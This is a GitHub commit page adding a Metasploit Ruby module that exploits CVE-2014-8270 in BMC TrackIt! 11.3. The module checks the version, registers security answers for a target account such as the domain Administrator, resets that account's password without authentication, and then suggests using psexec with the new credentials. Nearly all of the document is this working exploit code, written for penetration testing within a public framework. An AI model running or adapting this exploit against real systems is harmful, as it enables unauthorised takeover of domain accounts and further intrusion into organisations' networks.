Skip to content

Commit fa07193

Browse files
committed
2 parents b1453af + eb47ca5 commit fa07193

File tree

1 file changed

+182
-0
lines changed

1 file changed

+182
-0
lines changed
Lines changed: 182 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,182 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Auxiliary
9+
include Msf::Auxiliary::Report
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Scanner
12+
13+
def initialize(info = {})
14+
super(update_info(
15+
info,
16+
'Name' => 'BMC TrackIt! Unauthenticated Arbitrary User Password Change',
17+
'Description' => %q(
18+
This module exploits a flaw in the password reset mechanism in BMC TrackIt! 11.3
19+
and possibly prior versions. If the password reset service is configured to use
20+
a domain administrator (which is the recommended configuration), then domain
21+
credentials can be reset (such as domain Administrator).
22+
),
23+
'References' =>
24+
[
25+
['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-419/'],
26+
['CVE', '2014-8270']
27+
],
28+
'Author' =>
29+
[
30+
'bperry', # discovery/metasploit module,
31+
'jhart'
32+
],
33+
'License' => MSF_LICENSE,
34+
'DisclosureDate' => "Dec 9 2014"
35+
))
36+
37+
register_options(
38+
[
39+
OptString.new('TARGETURI', [true, 'The path to BMC TrackIt!', '/']),
40+
OptString.new('LOCALUSER', [true, 'The user to change password for', 'Administrator']),
41+
OptString.new('LOCALPASS', [false, 'The password to set for the local user (blank for random)', '']),
42+
OptString.new('DOMAIN', [false, 'The domain of the user. By default the local user\'s computer name will be autodetected', ''])
43+
], self.class)
44+
end
45+
46+
def localuser
47+
datastore['LOCALUSER']
48+
end
49+
50+
def password_reset
51+
begin
52+
uri = normalize_uri(target_uri.path, 'PasswordReset')
53+
send_request_cgi('uri' => uri)
54+
rescue => e
55+
vprint_error("#{peer}: unable to request #{uri}: #{e}")
56+
nil
57+
end
58+
end
59+
60+
def check_host(ip)
61+
vprint_status("#{peer}: retrieving PasswordReset page to extract Track-It! version")
62+
63+
unless (res = password_reset)
64+
return
65+
end
66+
67+
if res.body =~ /<title>Track-It! Password Reset/i
68+
version = res.body.scan(/\bBuild=([\d\.]+)/).flatten.first
69+
if version
70+
fix_version = '11.4'
71+
if Gem::Version.new(version) < Gem::Version.new(fix_version)
72+
report_vuln(
73+
host: ip,
74+
port: rport,
75+
name: name,
76+
info: "Module #{fullname} detected Track-It! version #{version}",
77+
refs: references
78+
)
79+
vprint_status("#{peer}: Track-It! version #{version} is less than #{fix_version}")
80+
return Exploit::CheckCode::Vulnerable
81+
else
82+
vprint_status("#{peer}: Track-It! version #{version} is not less than #{fix_version}")
83+
return Exploit::CheckCode::Safe
84+
end
85+
else
86+
vprint_error("#{peer}: unable to get Track-It! version")
87+
return Exploit::CheckCode::Unknown
88+
end
89+
else
90+
vprint_status("#{peer}: does not appear to be running Track-It!")
91+
return Exploit::CheckCode::Safe
92+
end
93+
end
94+
95+
def run_host(ip)
96+
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
97+
98+
if datastore['DOMAIN'].blank?
99+
vprint_status("#{peer}: retrieving session cookie and domain name")
100+
else
101+
vprint_status("#{peer}: retrieving domain name")
102+
end
103+
104+
unless (res = password_reset)
105+
return
106+
end
107+
108+
cookies = res.get_cookies
109+
if datastore['DOMAIN'].blank?
110+
if res.body =~ /"domainName":"([^"]*)"/
111+
domain = Regexp.last_match(1)
112+
vprint_status("#{peer}: found domain name: #{domain}")
113+
else
114+
print_error("#{peer}: unable to obtain domain name. Try specifying DOMAIN")
115+
return
116+
end
117+
else
118+
domain = datastore['DOMAIN']
119+
end
120+
121+
full_user = "#{domain}\\#{localuser}"
122+
vprint_status("#{peer}: registering #{full_user}")
123+
answers = [ Rex::Text.rand_text_alpha(8), Rex::Text.rand_text_alpha(8) ]
124+
res = send_request_cgi(
125+
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'Register'),
126+
'method' => 'POST',
127+
'cookie' => cookies,
128+
'vars_post' => {
129+
'domainname' => domain,
130+
'userName' => localuser,
131+
'emailaddress' => Rex::Text.rand_text_alpha(8) + '@' + Rex::Text.rand_text_alpha(8) + '.com',
132+
'userQuestions' => %Q([{"Id":1,"Answer":"#{answers.first}"},{"Id":2,"Answer":"#{answers.last}"}]),
133+
'updatequesChk' => 'false',
134+
'SelectedQuestion' => 1,
135+
'SelectedQuestion' => 2,
136+
'answer' => answers.first,
137+
'answer' => answers.last,
138+
'confirmanswer' => answers.first,
139+
'confirmanswer' => answers.last
140+
}
141+
)
142+
143+
if !res || res.body != "{\"success\":true,\"data\":{\"userUpdated\":true}}"
144+
print_error("#{peer}: Could not register #{full_user}")
145+
return
146+
end
147+
148+
vprint_status("#{peer}: changing password for #{full_user}")
149+
150+
if datastore['LOCALPASS'].blank?
151+
password = Rex::Text.rand_text_alpha(10) + "!1"
152+
else
153+
password = datastore['LOCALPASS']
154+
end
155+
156+
res = send_request_cgi(
157+
'uri' => normalize_uri(target_uri.path, 'PasswordReset', 'Application', 'ResetPassword'),
158+
'method' => 'POST',
159+
'cookie' => cookies,
160+
'vars_post' => {
161+
'newPassword' => password,
162+
'domain' => domain,
163+
'UserName' => localuser,
164+
'CkbResetpassword' => 'true'
165+
}
166+
)
167+
168+
if !res || res.body != '{"success":true,"data":{"PasswordResetStatus":0}}'
169+
print_error("#{peer}: Could not change #{full_user}'s password -- is it a domain or local user?")
170+
return
171+
end
172+
173+
report_vuln(
174+
host: ip,
175+
port: rport,
176+
name: name,
177+
info: "Module #{fullname} changed #{full_user}'s password to #{password}",
178+
refs: references
179+
)
180+
print_good("#{peer}: Please run the psexec module using #{full_user}:#{password}")
181+
end
182+
end

0 commit comments

Comments
 (0)